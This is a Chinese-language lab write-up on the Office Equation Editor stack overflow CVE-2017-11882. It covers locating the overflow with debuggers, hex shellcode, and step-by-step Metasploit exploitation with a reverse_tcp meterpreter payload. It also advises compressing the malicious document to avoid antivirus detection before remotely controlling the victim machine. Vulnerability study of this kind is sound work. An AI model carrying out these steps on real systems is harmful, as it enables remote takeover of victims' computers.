CVE-2017-11882漏洞分析
操作系統:Windows7 32/64位 專業版、Linux
軟件:office 2003 sp3
工具:OD、IDA、Python模塊、msfconsole
1漏洞分析:
獲取POC:
https://github.com/embedi/CVE-2017-11882 下載即可
打開例程,發現文檔打開了計算器,應該是ShellCode。
查找漏洞點:
打開Microsoft Word 2003,快捷鍵Alt+i+o(插入、對象)打開Microsoft 公式 3.0,使用OD附加(附加后,線程,全部恢復,運行)快捷鍵 Alt+f+a,打開poc例程。(OD所有關於異常的選項去掉,插件-StrongOD-Options-Skip Some Exceptions去掉,不然無法斷下)。
通過棧向上查找最近的函數地址
下斷點重新附加
重新加載再次進行附加
再次進行附加發現程序在運行到WinExec時已經破壞了棧,對棧進行向上回述
在此函數處下斷點,再次進行附加程序運行觀察棧已經破壞則在反匯編窗口在此函數的頭部下斷點,重新附加觀察
此時棧是完整的,可以斷定棧的破壞點在此時程序流程點的后面進行單步跟蹤(F8)觀察棧的變化找出溢出點。
通過Alt+e查找溢出模塊,載入IDA進行靜態分析
通過溢出點在IDA快捷鍵 g地址跳轉F5轉C代碼查看分析
分析poc的ShellCode:
在OD中查看ShellCode信息
通過010editor進行分析:
2漏洞利用:
改寫ShellCode運行時彈出百度網頁。
關於ShellCode的改寫:
在OD中的Ctrl+e進行二進制編寫,注意ShellCode大小,0x30預留4字節的返回地址。
機器碼:
636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F62616964752E636F6D266F6D73120C4300
使用 msfconsole進行遠程控制的利用
相關poc獲取:https://github.com/embedi/CVE-2017-11882
准備工作:
1. 在Linux虛擬機上運行 msfconsole
2. 使用apt update;
apt intsall metasploit-framework
3. 將cve-2017-11882.rb(漏洞模塊,負責與樣本通信)
在終端輸入cp指令:
絕對路徑拷貝:
相對路徑拷貝:cd到文件所在目錄
cp CVE-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat
拷貝到相關文件夾
4. 將python腳本 CVE-2017-11882.py拷貝到桌面
開始攻擊:
使用Kali Metasploit准備后門,監聽程序
1. 進入metasploit-framework
命令:msfconsole 啟動命令
2. Search cve-2017-11882
3. 使用模塊:use exploit/windows/fileformat/cve-2017-11882
4. 設置漏洞利用信息,包括payloar類型,IP(Linux使用ifconfig查看IP,Win使用ipconfig查看IP)
set payload windows/meterpteter/reverse_tcp
show options(顯示必要設置的選項,查看有無漏項)
5. 開始攻擊
exploit
6. 使用CVE-2017-11882.py腳本生成樣本
7. 壓縮文件不然可能會被查殺
拷貝到win7 64位 專業版 使用office3 sp3打開
8. 等待肉機鏈接
在win7打開文件顯示的內容
9. 鏈接之后使用sessions查看鏈接信息
10. 使用sessions 1 進入sessions,開始后門操作
連接成功
11. 命令:shell進入shell
出現亂碼,使用 chcp 65001 即可
此時即可使用windows shell命令控制肉機
退出shell
截屏要退出來才可以截屏
截屏圖片
一些其他命令
show sessions:顯示會話
sessions x:進入會話
background:會話返回
back:退出模塊
在msf下 exit:退出
3總結:
1. 此漏洞是使用系統的WinExec函數開啟線程的
2. 漏洞的產生是因為內存拷貝時空間大小設計時沒有考慮到位產生的棧溢出淹沒了原返回地址
3. 因為程序間隔較近,此漏洞的shellcode空間只用0x30大小但對於使用系統WinExec創建線程來講已經夠用
4. 此漏洞是2000年就存在的陳年漏洞但危害很大,甚至可以用來遠程控制電腦。